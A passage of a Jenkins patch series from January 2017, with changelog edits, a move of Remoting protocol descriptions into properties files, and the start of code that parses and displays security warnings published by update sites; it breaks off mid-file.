                                                    -- GitLab From 4911771ee81a125a3980d94c9533431a583e8e56 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 7 Jan 2017 22:07:46 +0100 Subject: [PATCH 676/811] Changelog: Noting #2702, #2699, #2687, #2701, and #2707 --- changelog.html | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 330ae58cbf..68c01705a7 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,21 @@ Upcoming changes

                                                    What's new in 2.39 (2017/01/02)

                                                    -- GitLab From 995da42d8b5a5950d5ecbbc4767eccaf94efbb16 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 8 Jan 2017 12:51:32 +0100 Subject: [PATCH 677/811] Offload the English descriptions of Remoting protocols to separate property files --- .../main/resources/hudson/cli/CliProtocol/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol/description.properties | 1 + .../main/resources/hudson/cli/CliProtocol2/description.jelly | 2 +- .../resources/hudson/cli/CliProtocol2/description.properties | 1 + .../jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol/description.properties | 2 ++ .../slaves/JnlpSlaveAgentProtocol/description_sr.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol2/description.properties | 3 +++ .../slaves/JnlpSlaveAgentProtocol2/description_sr.properties | 2 +- .../jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol3/description.properties | 4 ++++ .../slaves/JnlpSlaveAgentProtocol3/description_sr.properties | 4 ++-- .../jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly | 2 +- .../slaves/JnlpSlaveAgentProtocol4/description.properties | 1 + 15 files changed, 22 insertions(+), 10 deletions(-) create mode 100644 core/src/main/resources/hudson/cli/CliProtocol/description.properties create mode 100644 core/src/main/resources/hudson/cli/CliProtocol2/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties create mode 100644 core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly index a9e5e4ca7a..55e2c974b5 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from CLI clients. This protocol is unencrypted.} + ${%summary} diff --git a/core/src/main/resources/hudson/cli/CliProtocol/description.properties b/core/src/main/resources/hudson/cli/CliProtocol/description.properties new file mode 100644 index 0000000000..76b368aed3 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol/description.properties @@ -0,0 +1 @@ +summary=Accepts connections from CLI clients. This protocol is unencrypted. \ No newline at end of file diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly index f96439d702..55e2c974b5 100644 --- a/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding transport encryption.} + ${%summary} diff --git a/core/src/main/resources/hudson/cli/CliProtocol2/description.properties b/core/src/main/resources/hudson/cli/CliProtocol2/description.properties new file mode 100644 index 0000000000..609298c8b4 --- /dev/null +++ b/core/src/main/resources/hudson/cli/CliProtocol2/description.properties @@ -0,0 +1 @@ +summary=Extends the version 1 protocol by adding transport encryption. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly index 67fef746c8..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.jelly @@ -1,4 +1,4 @@ - ${%Accepts connections from remote clients so that they can be used as additional build agents. This protocol is unencrypted.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties new file mode 100644 index 0000000000..3422f15553 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description.properties @@ -0,0 +1,2 @@ +summary=Accepts connections from remote clients so that they can be used as additional build agents. \ + This protocol is unencrypted. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties index 040bfa0465..3f5c9d27c2 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Accepts\ connections\ from\ remote\ clients\ so\ that\ they\ can\ be\ used\ as\ additional\ build\ agents=\u041F\u0440\u0438\u0445\u0432\u0430\u0442\u0430 \u0432\u0435\u0437\u0435 \u043E\u0434 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0438\u043C\u0430 \u0434\u0430 \u0431\u0438 \u043C\u043E\u0433\u043B\u0438 \u0441\u0435 \u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0438\u0442\u0438 \u043A\u0430\u043E \u0434\u043E\u0434\u0430\u0442\u043D\u0435 \u0430\u0433\u0435\u043D\u0442\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. +summary=\u041f\u0440\u0438\u0445\u0432\u0430\u0442\u0430 \u0432\u0435\u0437\u0435 \u043e\u0434 \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0438\u043c\u0430 \u0434\u0430 \u0431\u0438 \u043c\u043e\u0433\u043b\u0438 \u0441\u0435 \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0438 \u043a\u0430\u043e \u0434\u043e\u0434\u0430\u0442\u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045a\u0443. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly index b73ddec909..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 1 protocol by adding a per-client cookie, so that we can detect a reconnection from the agent and take appropriate action. This protocol is unencrypted.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties new file mode 100644 index 0000000000..edb6b96c46 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description.properties @@ -0,0 +1,3 @@ +summary=Extends the version 1 protocol by adding a per-client cookie, \ +so that we can detect a reconnection from the agent and take appropriate action. \ +This protocol is unencrypted. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties index a073aa440e..f96b74e2e0 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol2/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Extends\ the\ version\ 1\ protocol\ by\ adding\ a\ per-client\ cookie,\ so\ that\ we\ can\ detect\ a\ reconnection\ from\ the\ agent\ and\ take\ appropriate\ action=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 1 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u045B\u0438 cookie \u0441\u0432\u0430\u043A\u043E\u043C \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0443, \u0448\u0442\u043E \u043E\u043C\u043E\u0433\u0443\u0458\u0443\u045B\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u0432\u0435\u0437\u0438\u0432\u0430\u045A\u0435 \u0441\u0430 \u0430\u0433\u0435\u043D\u0442\u043E\u043C. +summary=\u041d\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 1 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e\u0434\u0430\u0432\u0430\u045b\u0438 cookie \u0441\u0432\u0430\u043a\u043e\u043c \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0443, \u0448\u0442\u043e \u043e\u043c\u043e\u0433\u0443\u0458\u0443\u045b\u0435 \u043f\u043e\u043d\u043e\u0432\u043e \u043f\u043e\u0432\u0435\u0437\u0438\u0432\u0430\u045a\u0435 \u0441\u0430 \u0430\u0433\u0435\u043d\u0442\u043e\u043c. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly index 58af595972..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.jelly @@ -1,4 +1,4 @@ - ${%Extends the version 2 protocol by adding basic encryption but requires a thread per client. This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. This protocol is not recommended. Use Java Web Start Agent Protocol/4 instead.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties new file mode 100644 index 0000000000..3e5d49de58 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description.properties @@ -0,0 +1,4 @@ +summary=Extends the version 2 protocol by adding basic encryption but requires a thread per client. \ + This protocol falls back to Java Web Start Agent Protocol/2 (unencrypted) when it can't create a secure connection. \ + This protocol is not recommended. \ + Use Java Web Start Agent Protocol/4 instead. diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties index f15cfe2319..8c185f3e4b 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol3/description_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors - -Extends\ the\ version\ 2\ protocol\ by\ adding\ basic\ encryption\ but\ requires\ a\ thread\ per\ client=\u041D\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 2 \u043F\u0440\u043E\u0442\u043E\u043A\u043E\u043B\u0430 \u0434\u043E\u0434\u0430\u0432\u0430\u0458\u0443\u045B\u0438 \u0448\u0438\u0444\u0440\u043E\u0432\u0430\u045A\u0435 (\u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435\u0434\u0430\u043D \u043D\u0438\u0437 \u0437\u0430 \u0441\u0432\u0430\u043A\u043E\u0433 \u043A\u043B\u0438\u0458\u0435\u043D\u0442\u0430) +#TODO: Summary is outdated, needs to be modified +summary=\u041d\u0430\u0434\u0433\u0440\u0430\u0452\u0443\u0458\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 2 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e\u0434\u0430\u0432\u0430\u0458\u0443\u045b\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u045a\u0435 (\u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e \u0458\u0435\u0434\u0430\u043d \u043d\u0438\u0437 \u0437\u0430 \u0441\u0432\u0430\u043a\u043e\u0433 \u043a\u043b\u0438\u0458\u0435\u043d\u0442\u0430) diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly index 31c51e4ce9..55e2c974b5 100644 --- a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly @@ -1,4 +1,4 @@ - ${%A TLS secured connection between the master and the agent performed by TLS upgrade of the socket.} + ${%summary} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties new file mode 100644 index 0000000000..9cf2b4b2f8 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.properties @@ -0,0 +1 @@ +summary=A TLS secured connection between the master and the agent performed by TLS upgrade of the socket. -- GitLab From d198722e35525c489fea6dd5703981a5d43a6c77 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 20:35:17 +0100 Subject: [PATCH 678/811] Fix #2687 change message --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 68c01705a7..2bd4b8e7bf 100644 --- a/changelog.html +++ b/changelog.html @@ -58,7 +58,7 @@ Upcoming changes
                                                    • Do not print warnings about undefined parameters - when hudson.model.ParametersAction.keepUndefinedParameters property is set to true. + when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. (pull 2687)
                                                    • Prevent the ClassNotFoundException: javax.servlet.ServletException error -- GitLab From c252a764024a94f018fe34dc58702885a48fff8f Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 8 Jan 2017 22:27:08 +0100 Subject: [PATCH 679/811] [JENKINS-40494] Process warnings from update sites (#2680) * [FIX JENKINS-40494] Process warnings from update sites * [JENKINS-40494] Address review comments * [JENKINS-40494] Add warnings to available/update plugin manager tabs * [JENKINS-40494] Add tests * [JENKINS-40494] Address review feedback --- .../main/java/hudson/model/UpdateSite.java | 307 ++++++++++++++++++ .../UpdateSiteWarningsConfiguration.java | 124 +++++++ .../security/UpdateSiteWarningsMonitor.java | 177 ++++++++++ .../hudson/PluginManager/table.jelly | 9 + .../hudson/PluginManager/table.properties | 3 + .../jenkins/security/Messages.properties | 3 +- .../config.groovy | 70 ++++ .../config.properties | 27 ++ .../UpdateSiteWarningsConfiguration/help.html | 14 + .../UpdateSiteWarningsConfiguration/style.css | 4 + .../UpdateSiteWarningsMonitor/message.groovy | 77 +++++ .../message.properties | 31 ++ .../java/hudson/model/UpdateSiteTest.java | 25 +- .../warnings-update-center-malformed.json | 264 +++++++++++++++ war/src/main/webapp/css/style.css | 7 + 15 files changed, 1140 insertions(+), 2 deletions(-) create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java create mode 100644 core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy create mode 100644 core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties create mode 100644 test/src/test/resources/plugins/warnings-update-center-malformed.json diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 01bf9c6ddb..3a234941a4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -26,6 +26,7 @@ package hudson.model; import hudson.ClassicPluginStrategy; +import hudson.ExtensionList; import hudson.PluginManager; import hudson.PluginWrapper; import hudson.Util; @@ -46,7 +47,9 @@ import java.security.GeneralSecurityException; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; +import java.util.HashSet; import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.TreeMap; @@ -55,17 +58,24 @@ import java.util.concurrent.Callable; import java.util.concurrent.Future; import java.util.logging.Level; import java.util.logging.Logger; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; +import javax.annotation.Nullable; + import jenkins.model.Jenkins; import jenkins.model.DownloadSettings; +import jenkins.security.UpdateSiteWarningsConfiguration; import jenkins.util.JSONSignatureValidator; import jenkins.util.SystemProperties; +import net.sf.json.JSONArray; import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.apache.commons.io.IOUtils; import org.apache.commons.lang.StringUtils; import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.HttpResponse; @@ -513,6 +523,12 @@ public class UpdateSite { * Plugins in the repository, keyed by their artifact IDs. */ public final Map plugins = new TreeMap(String.CASE_INSENSITIVE_ORDER); + /** + * List of warnings (mostly security) published with the update site. + * + * @since TODO + */ + private final Set warnings = new HashSet(); /** * If this is non-null, Jenkins is going to check the connectivity to this URL to make sure @@ -528,6 +544,18 @@ public class UpdateSite { } else { core = null; } + + JSONArray w = o.optJSONArray("warnings"); + if (w != null) { + for (int i = 0; i < w.size(); i++) { + try { + warnings.add(new Warning(w.getJSONObject(i))); + } catch (JSONException ex) { + LOGGER.log(Level.WARNING, "Failed to parse JSON for warning", ex); + } + } + } + for(Map.Entry e : (Set>)o.getJSONObject("plugins").entrySet()) { Plugin p = new Plugin(sourceId, e.getValue()); // JENKINS-33308 - include implied dependencies for older plugins that may need them @@ -545,6 +573,16 @@ public class UpdateSite { connectionCheckUrl = (String)o.get("connectionCheckUrl"); } + /** + * Returns the set of warnings + * @return the set of warnings + * @since TODO + */ + @Restricted(NoExternalUse.class) + public Set getWarnings() { + return this.warnings; + } + /** * Is there a new version of the core? */ @@ -646,6 +684,232 @@ public class UpdateSite { } + /** + * A version range for {@code Warning}s indicates which versions of a given plugin are affected + * by it. + * + * {@link #name}, {@link #firstVersion} and {@link #lastVersion} fields are only used for administrator notices. + * + * The {@link #pattern} is used to determine whether a given warning applies to the current installation. + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class WarningVersionRange { + /** + * Human-readable English name for this version range, e.g. 'regular', 'LTS', '2.6 line'. + */ + @Nullable + public final String name; + + /** + * First version in this version range to be subject to the warning. + */ + @Nullable + public final String firstVersion; + + /** + * Last version in this version range to be subject to the warning. + */ + @Nullable + public final String lastVersion; + + /** + * Regular expression pattern for this version range that matches all included version numbers. + */ + @Nonnull + private final Pattern pattern; + + public WarningVersionRange(JSONObject o) { + this.name = Util.fixEmpty(o.optString("name")); + this.firstVersion = Util.fixEmpty(o.optString("firstVersion")); + this.lastVersion = Util.fixEmpty(o.optString("lastVersion")); + Pattern p; + try { + p = Pattern.compile(o.getString("pattern")); + } catch (PatternSyntaxException ex) { + LOGGER.log(Level.WARNING, "Failed to compile pattern '" + o.getString("pattern") + "', using '.*' instead", ex); + p = Pattern.compile(".*"); + } + this.pattern = p; + } + + public boolean includes(VersionNumber number) { + return pattern.matcher(number.toString()).matches(); + } + } + + /** + * Represents a warning about a certain component, mostly related to known security issues. + * + * @see UpdateSiteWarningsConfiguration + * @see jenkins.security.UpdateSiteWarningsMonitor + * + * @since TODO + */ + @Restricted(NoExternalUse.class) + public static final class Warning { + + public enum Type { + CORE, + PLUGIN, + UNKNOWN + } + + /** + * The type classifier for this warning. + */ + @Nonnull + public /* final */ Type type; + + /** + * The globally unique ID of this warning. + * + *

                                                      This is typically the CVE identifier or SECURITY issue (Jenkins project); + * possibly with a unique suffix (e.g. artifactId) if either applies to multiple components.

                                                      + */ + @Exported + @Nonnull + public final String id; + + /** + * The name of the affected component. + *
                                                        + *
                                                      • If type is 'core', this is 'core' by convention. + *
                                                      • If type is 'plugin', this is the artifactId of the affected plugin + *
                                                      + */ + @Exported + @Nonnull + public final String component; + + /** + * A short, English language explanation for this warning. + */ + @Exported + @Nonnull + public final String message; + + /** + * A URL with more information about this, typically a security advisory. For use in administrator notices + * only, so + */ + @Exported + @Nonnull + public final String url; + + /** + * A list of named version ranges specifying which versions of the named component this warning applies to. + * + * If this list is empty, all versions of the component are considered to be affected by this warning. + */ + @Exported + @Nonnull + public final List versionRanges; + + /** + * + * @param o the {@link JSONObject} representing the warning + * @throws JSONException if the argument does not match the expected format + */ + @Restricted(NoExternalUse.class) + public Warning(JSONObject o) { + try { + this.type = Type.valueOf(o.getString("type").toUpperCase(Locale.US)); + } catch (IllegalArgumentException ex) { + this.type = Type.UNKNOWN; + } + this.id = o.getString("id"); + this.component = o.getString("name"); + this.message = o.getString("message"); + this.url = o.getString("url"); + + if (o.has("versions")) { + List ranges = new ArrayList<>(); + JSONArray versions = o.getJSONArray("versions"); + for (int i = 0; i < versions.size(); i++) { + WarningVersionRange range = new WarningVersionRange(versions.getJSONObject(i)); + ranges.add(range); + } + this.versionRanges = Collections.unmodifiableList(ranges); + } else { + this.versionRanges = Collections.emptyList(); + } + } + + /** + * Two objects are considered equal if they are the same type and have the same ID. + * + * @param o the other object + * @return true iff this object and the argument are considered equal + */ + @Override + public boolean equals(Object o) { + if (this == o) return true; + if (!(o instanceof Warning)) return false; + + Warning warning = (Warning) o; + + return id.equals(warning.id); + } + + @Override + public int hashCode() { + return id.hashCode(); + } + + public boolean isPluginWarning(@Nonnull String pluginName) { + return type == Type.PLUGIN && pluginName.equals(this.component); + } + + /** + * Returns true if this warning is relevant to the current configuration + * @return true if this warning is relevant to the current configuration + */ + public boolean isRelevant() { + switch (this.type) { + case CORE: + VersionNumber current = Jenkins.getVersion(); + + if (!isRelevantToVersion(current)) { + return false; + } + return true; + case PLUGIN: + + // check whether plugin is installed + PluginWrapper plugin = Jenkins.getInstance().getPluginManager().getPlugin(this.component); + if (plugin == null) { + return false; + } + + // check whether warning is relevant to installed version + VersionNumber currentCore = plugin.getVersionNumber(); + if (!isRelevantToVersion(currentCore)) { + return false; + } + return true; + case UNKNOWN: + default: + return false; + } + } + + public boolean isRelevantToVersion(@Nonnull VersionNumber version) { + if (this.versionRanges.isEmpty()) { + // no version ranges specified, so all versions are affected + return true; + } + + for (UpdateSite.WarningVersionRange range : this.versionRanges) { + if (range.includes(version)) { + return true; + } + } + return false; + } + } + public final class Plugin extends Entry { /** * Optional URL to the Wiki page that discusses this plugin. @@ -863,6 +1127,49 @@ public class UpdateSite { return true; } + /** + * @since TODO + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public Set getWarnings() { + ExtensionList list = ExtensionList.lookup(UpdateSiteWarningsConfiguration.class); + if (list.size() == 0) { + return Collections.emptySet(); + } + + Set warnings = new HashSet<>(); + + UpdateSiteWarningsConfiguration configuration = list.get(0); + + for (Warning warning: configuration.getAllWarnings()) { + if (configuration.isIgnored(warning)) { + // warning is currently being ignored + continue; + } + if (!warning.isPluginWarning(this.name)) { + // warning is not about this plugin + continue; + } + + if (!warning.isRelevantToVersion(new VersionNumber(this.version))) { + // warning is not relevant to this version + continue; + } + warnings.add(warning); + } + + return warnings; + } + + /** + * @since TODO + */ + @Restricted(DoNotUse.class) + public boolean hasWarnings() { + return getWarnings().size() > 0; + } + /** * @deprecated as of 1.326 * Use {@link #deploy()}. diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java new file mode 100644 index 0000000000..08bce4881b --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsConfiguration.java @@ -0,0 +1,124 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.PluginWrapper; +import hudson.model.UpdateSite; +import jenkins.model.GlobalConfiguration; +import jenkins.model.GlobalConfigurationCategory; +import jenkins.model.Jenkins; +import net.sf.json.JSONObject; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.StaplerRequest; + +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; +import java.util.Collections; +import java.util.HashSet; +import java.util.Set; + +/** + * Configuration for update site-provided warnings. + * + * @see UpdateSiteWarningsMonitor + * + * @since TODO + */ +@Extension +@Restricted(NoExternalUse.class) +public class UpdateSiteWarningsConfiguration extends GlobalConfiguration { + + private HashSet ignoredWarnings = new HashSet<>(); + + @Override + public GlobalConfigurationCategory getCategory() { + return GlobalConfigurationCategory.get(GlobalConfigurationCategory.Security.class); + } + + public UpdateSiteWarningsConfiguration() { + load(); + } + + @Nonnull + public Set getIgnoredWarnings() { + return Collections.unmodifiableSet(ignoredWarnings); + } + + public boolean isIgnored(@Nonnull UpdateSite.Warning warning) { + return ignoredWarnings.contains(warning.id); + } + + @CheckForNull + public PluginWrapper getPlugin(@Nonnull UpdateSite.Warning warning) { + if (warning.type != UpdateSite.Warning.Type.PLUGIN) { + return null; + } + return Jenkins.getInstance().getPluginManager().getPlugin(warning.component); + } + + @Nonnull + public Set getAllWarnings() { + HashSet allWarnings = new HashSet<>(); + + for (UpdateSite site : Jenkins.getInstance().getUpdateCenter().getSites()) { + UpdateSite.Data data = site.getData(); + if (data != null) { + allWarnings.addAll(data.getWarnings()); + } + } + return allWarnings; + } + + @Nonnull + public Set getApplicableWarnings() { + Set allWarnings = getAllWarnings(); + + HashSet applicableWarnings = new HashSet<>(); + for (UpdateSite.Warning warning: allWarnings) { + if (warning.isRelevant()) { + applicableWarnings.add(warning); + } + } + + return Collections.unmodifiableSet(applicableWarnings); + } + + + @Override + public boolean configure(StaplerRequest req, JSONObject json) throws FormException { + HashSet newIgnoredWarnings = new HashSet<>(); + for (Object key : json.keySet()) { + String warningKey = key.toString(); + if (!json.getBoolean(warningKey)) { + newIgnoredWarnings.add(warningKey); + } + } + this.ignoredWarnings = newIgnoredWarnings; + this.save(); + return true; + } +} diff --git a/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java new file mode 100644 index 0000000000..378717448d --- /dev/null +++ b/core/src/main/java/jenkins/security/UpdateSiteWarningsMonitor.java @@ -0,0 +1,177 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.PluginWrapper; +import hudson.model.AdministrativeMonitor; +import hudson.model.UpdateSite; +import hudson.util.HttpResponses; +import jenkins.model.Jenkins; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.HttpResponse; +import 